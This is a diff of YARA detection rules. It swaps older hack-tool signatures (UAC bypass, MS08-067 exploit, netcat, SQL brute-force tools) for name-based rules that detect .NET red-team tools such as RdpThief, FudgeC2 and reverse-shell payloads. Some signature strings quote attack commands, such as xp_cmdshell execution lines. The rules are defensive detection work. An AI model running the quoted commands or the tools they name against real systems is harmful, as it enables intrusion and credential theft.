+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "cmd.exe" fullword wide
-		$s2 = "ReactOS Development Team" fullword wide
-		$s3 = "ReactOS Command Processor" fullword wide
-		$ext = "extension: .dll" nocase
+		$name = "weevely3" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of ($s*) and $ext
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ikat_Tools_Nmap
+rule SIGNATURE_BASE_HKTL_NET_NAME_Fudgec2 : FILE
 {
 	meta:
-		description = "Generic rule for NMAP - based on NMAP 4 standalone"
-		author = "Florian Roth (Nextron Systems)"
-		id = "be4858e6-a8f3-55eb-9c04-f4def838dde1"
-		date = "2014-05-11"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "a8e70bce-76dd-53dc-9a19-1cc6795fdef3"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L886-L903"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d0543f365df61e6ebb5e345943577cc40fca8682"
-		logic_hash = "f538d807ed4904a2c321385a095a97bc0d718349f7eb31a367e521228412cef2"
-		score = 50
-		quality = 83
-		tags = ""
+		reference = "https://github.com/Ziconius/FudgeC2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L462-L475"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "89f3bf4b81a901e813c3021422c362d7e075dec7fd76240be121f677039f1994"
+		score = 75
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Insecure.Org" fullword wide
-		$s1 = "Copyright (c) Insecure.Com" fullword wide
-		$s2 = "nmap" fullword nocase
-		$s3 = "Are you alert enough to be using Nmap?  Have some coffee or Jolt(tm)." ascii
+		$name = "FudgeC2" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ikat_Startbar
+rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_Reverse_Tcp : FILE
 {
 	meta:
-		description = "Tool to hide unhide the windows startbar from command line - iKAT hack tools - file startbar.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f29f15e9-aa29-519a-b4ad-c018aac68fd6"
-		date = "2014-05-11"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "a6b935cc-adb6-5ff4-a832-1043e77292f7"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L905-L925"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0cac59b80b5427a8780168e1b85c540efffaf74f"
-		logic_hash = "adb29d4903a771b0dab9dee8313878757ff12fc014da86291e32eb3ec60bf551"
-		score = 50
+		reference = "https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L477-L490"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "055ee105cd46e54b4f49dd92975ecc08a6184fa8508585ee528d19de34914758"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "Shinysoft Limited1" fullword ascii
-		$s3 = "Shinysoft Limited0" fullword ascii
-		$s4 = "Wellington1" fullword ascii
-		$s6 = "Wainuiomata1" fullword ascii
-		$s8 = "56 Wright St1" fullword ascii
-		$s9 = "UTN-USERFirst-Object" fullword ascii
-		$s10 = "New Zealand1" fullword ascii
+		$name = "NativePayload_Reverse_tcp" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ikat_Tool_Generic
+rule SIGNATURE_BASE_HKTL_NET_NAME_Sharphose : FILE
 {
 	meta:
-		description = "Generic Rule for hack tool iKAT files gpdisable.exe, kitrap0d.exe, uacpoc.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a8064a26-09c0-59f1-bdf9-628a445014ff"
-		date = "2014-05-11"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "89b00eb0-f1a2-5c77-a5b0-2329b08aadb7"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L927-L953"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5c5aa2d7d82d4b65541c5b6bcae6260fdaed0030493ed689363722cd78fd0a26"
-		score = 55
+		reference = "https://github.com/ustayready/SharpHose"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L492-L505"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e3af2a156c2451f7ed2fe3e888fdf2ae080298f7eff56801ddc0c612f04902ee"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "814c126f21bc5e993499f0c4e15b280bf7c1c77f"
-		hash1 = "75f5aed1e719443a710b70f2004f34b2fe30f2a9"
-		hash2 = "b65a460d015fd94830d55e8eeaf6222321e12349"
 
 	strings:
-		$s0 = "<IconFile>C:\\WINDOWS\\App.ico</IconFile>" fullword
-		$s1 = "Failed to read the entire file" fullword
-		$s4 = "<VersionCreatedBy>14.4.0</VersionCreatedBy>" fullword
-		$s8 = "<ProgressCaption>Run &quot;executor.bat&quot; once the shell has spawned.</P"
-		$s9 = "Running Zip pipeline..." fullword
-		$s10 = "<FinTitle />" fullword
-		$s12 = "<AutoTemp>0</AutoTemp>" fullword
-		$s14 = "<DefaultDir>%TEMP%</DefaultDir>" fullword
-		$s15 = "AES Encrypting..." fullword
-		$s20 = "<UnzipDir>%TEMP%</UnzipDir>" fullword
+		$name = "SharpHose" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bypassuac2
+rule SIGNATURE_BASE_HKTL_NET_NAME_RAT_Njrat_0_7D_Modded_Source_Code : FILE
 {
 	meta:
-		description = "Auto-generated rule - file BypassUac2.zip"
-		author = "yarGen Yara Rule Generator"
-		id = "8b7e49de-9b0a-5dc4-86af-1a854dc649cc"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "2b7d1f75-0164-561e-8199-32c601cbca98"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L955-L967"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ef3e7dd2d1384ecec1a37254303959a43695df61"
-		logic_hash = "398783fa0453a60fd1c6aa64eacfbfa7c5385e81c79d1b6a8a8386dae9b825cc"
+		reference = "https://github.com/AliBawazeEer/RAT-NjRat-0.7d-modded-source-code"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L507-L520"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f437195348452242adc8b55d6d517a17764c53188fa2de5cd15848fd23827381"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "/BypassUac/BypassUac/BypassUac_Utils.cpp" fullword ascii
-		$s1 = "/BypassUac/BypassUacDll/BypassUacDll.aps" fullword ascii
-		$s3 = "/BypassUac/BypassUac/BypassUac.ico" fullword ascii
+		$name = "RAT-NjRat-0.7d-modded-source-code" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bypassuac_3
+rule SIGNATURE_BASE_HKTL_NET_NAME_Rdpthief : FILE
 {
 	meta:
-		description = "Auto-generated rule - file BypassUacDll.dll"
-		author = "yarGen Yara Rule Generator"
-		id = "407a8e12-1160-584d-94c8-7aa78e29c754"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "5ad4feec-50db-5ebb-a609-9196e72a24aa"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L969-L982"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1974aacd0ed987119999735cad8413031115ce35"
-		logic_hash = "cf3183ff4562f2962f87bc594c1710c73c113fa1d49fa56f7a3ff391ba4b9003"
+		reference = "https://github.com/0x09AL/RdpThief"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L522-L535"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8e472c8265d517e512eada819627d56ff449fae4d80054946e9ea96f74004f05"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "BypassUacDLL.dll" fullword wide
-		$s1 = "\\Release\\BypassUacDll" ascii
-		$s3 = "Win7ElevateDLL" fullword wide
-		$s7 = "BypassUacDLL" fullword wide
+		$name = "RdpThief" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bypassuacdll_6
+rule SIGNATURE_BASE_HKTL_NET_NAME_Runascs : FILE
 {
 	meta:
-		description = "Auto-generated rule - file BypassUacDll.aps"
-		author = "yarGen Yara Rule Generator"
-		id = "5be27053-446f-5ea3-a242-2661aeffa3df"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "c5fc5b01-1d30-5af5-be99-e629cb23295b"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1000-L1011"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
-		logic_hash = "3cb89875ddf79a3709aeb58149e228e03b9fb43fa1565aab5ece743857b4cc71"
+		reference = "https://github.com/antonioCoco/RunasCs"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L537-L550"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9fd22a3e92222134c101693b944a2ad53055f9cfafe99823fd6f412981f5afa3"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "BypassUacDLL.dll" fullword wide
-		$s4 = "AFX_IDP_COMMAND_FAILURE" fullword ascii
+		$name = "RunasCs" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bypassuac_EXE
+rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_IP6DNS : FILE
 {
 	meta:
-		description = "Auto-generated rule - file BypassUacDll.aps"
-		author = "yarGen Yara Rule Generator"
-		id = "b88aded5-7dfb-5cdf-bb42-cd8b069259e0"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "3b32b408-e71a-5f2a-ae6f-72a3d6572b71"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1013-L1027"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
-		logic_hash = "0283efd6866ed9417f2d255715f04c0ed6d7a89befce6a3a52c22ac06593c0bd"
+		reference = "https://github.com/DamonMohammadbagher/NativePayload_IP6DNS"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L552-L565"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "509c396b97524335735107644460eebed3146b2bc5f8dedb909c9754b2121f5f"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Wole32.dll" wide
-		$s3 = "System32\\migwiz" wide
-		$s4 = "System32\\migwiz\\CRYPTBASE.dll" wide
-		$s5 = "Elevation:Administrator!new:" wide
-		$s6 = "BypassUac" wide
+		$name = "NativePayload_IP6DNS" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Proxy_Malware_Packed_Dev
+rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_ARP : FILE
 {
 	meta:
-		description = "APT Malware - Proxy"
-		author = "FRoth"
-		id = "0b81b6c9-86fa-59c1-b58c-80310f6c0680"
-		date = "2014-11-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "9fac11f8-4e40-5cbc-a990-2ae48df20828"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1029-L1044"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6b6a86ceeab64a6cb273debfa82aec58"
-		logic_hash = "64b15aaf93b40744b887c75fa26f4996d72045a55ac82ab4de89a0d9a3714684"
-		score = 50
+		reference = "https://github.com/DamonMohammadbagher/NativePayload_ARP"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L567-L580"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e8cecfe09f1cb80eb693eb293dfb8c1bc3885a96dfa045b2391216c5f6f6f983"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$string0 = "PECompact2" fullword
-		$string1 = "[LordPE]"
-		$string2 = "steam_ker.dll"
+		$name = "NativePayload_ARP" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Tzddos_Ddos_Tool_CN
+rule SIGNATURE_BASE_HKTL_NET_NAME_C2Bridge : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file tzddos"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bf2bfc7b-4db8-5d35-a312-2530a42985d5"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "357051aa-61ea-5454-a996-b4e3a45ac865"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1046-L1065"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d4c517eda5458247edae59309453e0ae7d812f8e"
-		logic_hash = "fed09a8586f9b573e46871efa71082f4573d2bd069fde9cc2928b267d0025bab"
-		score = 60
+		reference = "https://github.com/cobbr/C2Bridge"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L582-L595"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d5f6d6e9d475bf2d8a49d7550bf3b718539753f3494b58462094bfc0a37b813a"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "for /f %%a in (host.txt) do (" ascii
-		$s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
-		$s2 = "del host.txt /q" fullword ascii
-		$s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
-		$s4 = "start Http.exe %%a %http%" fullword ascii
-		$s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
-		$s6 = "del Result.txt s2.txt s1.txt " fullword ascii
+		$name = "C2Bridge" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ncat_Hacktools_CN
+rule SIGNATURE_BASE_HKTL_NET_NAME_Infrastructure_Assessment : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file nc.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bdbfaf75-f8c0-508e-b6b1-9ddea179a325"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "efacc12b-92b3-5b22-b5bb-cd5a7d7eea0e"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1067-L1085"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "001c0c01c96fa56216159f83f6f298755366e528"
-		logic_hash = "0e059e90447747ed5259da4a870036d37d181c1cfea734ab25e760e81612f0f3"
-		score = 60
+		reference = "https://github.com/NyaMeeEain/Infrastructure-Assessment"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L597-L610"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7b2f1481c2880b5b3ee158f2a526ab7fc5e587bbf3847ebe9ddf447742109a78"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "nc -l -p port [options] [hostname] [port]" fullword ascii
-		$s2 = "nc [-options] hostname port[s] [ports] ... " fullword ascii
-		$s3 = "gethostpoop fuxored" fullword ascii
-		$s6 = "VERNOTSUPPORTED" fullword ascii
-		$s7 = "%s [%s] %d (%s)" fullword ascii
-		$s12 = " `--%s' doesn't allow an argument" fullword ascii
+		$name = "Infrastructure-Assessment" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MS08_067_Exploit_Hacktools_CN
+rule SIGNATURE_BASE_HKTL_NET_NAME_Shellcodetester : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file cs.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c15836c7-e739-5cc0-9d41-d651ea3e4738"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "964093a4-e6d7-51b7-928a-b1cd40dc11cc"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1087-L1106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a3e9e0655447494253a1a60dbc763d9661181322"
-		logic_hash = "e5756250de401324d0c86f855bc088c8364e4a632cece25e553939fa621b73d8"
-		score = 60
-		quality = 60
-		tags = ""
+		reference = "https://github.com/tophertimzen/shellcodeTester"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L612-L625"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3101b62428eba5e36572a190bd3a11f59cf9cca10aec3cfe3000028f1b1f0a3f"
+		score = 50
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "MS08-067 Exploit for CN by EMM@ph4nt0m.org" fullword ascii
-		$s3 = "Make SMB Connection error:%d" fullword ascii
-		$s5 = "Send Payload Over!" fullword ascii
-		$s7 = "Maybe Patched!" fullword ascii
-		$s8 = "RpcExceptionCode() = %u" fullword ascii
-		$s11 = "ph4nt0m" fullword wide
-		$s12 = "\\\\%s\\IPC" ascii
+		$name = "shellcodeTester" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		4 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Burst_Sql
+rule SIGNATURE_BASE_HKTL_NET_NAME_Gray_Hat_Csharp_Code : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file sql.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "77ea95fc-7a6a-522b-8a72-1832598c4d2d"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "0a94cadc-cc7b-5817-8788-bb1e53937fad"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1108-L1129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d5139b865e99b7a276af7ae11b14096adb928245"
-		logic_hash = "139f7308055351d9dc8a704c055360ac9408dcefc9eee4b9f222886fb5249b8c"
-		score = 60
+		reference = "https://github.com/brandonprry/gray_hat_csharp_code"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L627-L640"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4520528cd6b1832c97fa79442f9d448d54bad4e6944984fa6e71f34246259e28"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "s.exe %s %s %s %s %d /save" fullword ascii
-		$s2 = "s.exe start error...%d" fullword ascii
-		$s4 = "EXEC sp_addextendedproc xp_cmdshell,'xplog70.dll'" fullword ascii
-		$s7 = "EXEC master..xp_cmdshell 'wscript.exe cc.js'" fullword ascii
-		$s10 = "Result.txt" fullword ascii
-		$s11 = "Usage:sql.exe [options]" fullword ascii
-		$s17 = "%s root %s %d error" fullword ascii
-		$s18 = "Pass.txt" fullword ascii
-		$s20 = "SELECT sillyr_at_gmail_dot_com INTO DUMPFILE '%s\\\\sillyr_x.so' FROM sillyr_x" fullword ascii
+		$name = "gray_hat_csharp_code" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		6 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Panda_445TOOL
+rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_Reverseshell : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file 445TOOL.rar"
-		author = "Florian Roth (Nextron Systems)"
-		id = "02075631-49cc-5b97-ad8e-92d734a26d34"
-		date = "2014-11-17"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1131-L1147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "92050ba43029f914696289598cf3b18e34457a11"
-		logic_hash = "69a17bf7735eea946a5326d9535e68b8f010f2a0229875970b1bb15029c6dc4e"
-		score = 60
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "eec77c09-02db-5d74-8526-e201d2fe6fc8"
+		date = "2021-01-22"
+		modified = "2023-12-05"
+		reference = "https://github.com/DamonMohammadbagher/NativePayload_ReverseShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L642-L655"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "79ebde95674d76e58938b06a97cb6c65e6ac0606398fc9c30d90e517bbdd62a8"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "scan.bat" fullword ascii
-		$s1 = "Http.exe" fullword ascii
-		$s2 = "GOGOGO.bat" fullword ascii
-		$s3 = "ip.txt" fullword ascii
+		$name = "NativePayload_ReverseShell" ascii wide
